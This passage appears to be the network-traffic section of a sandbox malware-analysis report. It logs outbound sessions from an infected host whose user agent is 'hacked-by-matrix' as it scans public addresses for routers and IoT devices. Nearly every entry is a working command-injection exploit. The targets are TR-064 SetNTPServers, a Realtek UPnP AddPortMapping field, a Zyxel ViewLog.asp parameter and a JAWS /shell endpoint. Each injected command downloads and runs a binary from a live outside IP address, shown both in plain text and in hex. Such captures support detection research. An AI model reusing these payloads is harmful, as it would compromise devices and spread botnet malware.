xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.23	47650	76.179.13.0	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.168970108 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.23	59838	99.241.24.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.169034958 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.23	55062	76.5.189.222	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.169619083 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.23	46686	71.211.181.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.185081005 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.23	54740	200.206.252.249	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.269469023 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.23	47668	76.179.13.0	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.287847996 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.23	55082	76.5.189.222	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.296817064 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.23	59854	99.241.24.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.296843052 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.23	46702	71.211.181.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.320055962 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:50.065928936 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.23	49412	152.170.11.18	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.424469948 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.23	38572	178.33.101.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.428888083 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:50.289901972 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:50.452310085 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:18:50 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>
Mar 21, 2024 05:18:50.452383041 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:18:50 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.23	54760	200.206.252.249	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.492449045 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.23	60912	194.187.248.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.498070955 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:50.358985901 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:50.529823065 CET	190	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.23	49424	152.170.11.18	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.686398983 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.23	55026	34.150.91.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:49.964267015 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:50.884778023 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:51.182239056 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.23	60056	83.66.45.12	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.280034065 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.23	35884	179.155.232.174	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.451841116 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.23	32814	199.187.22.174	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.679145098 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
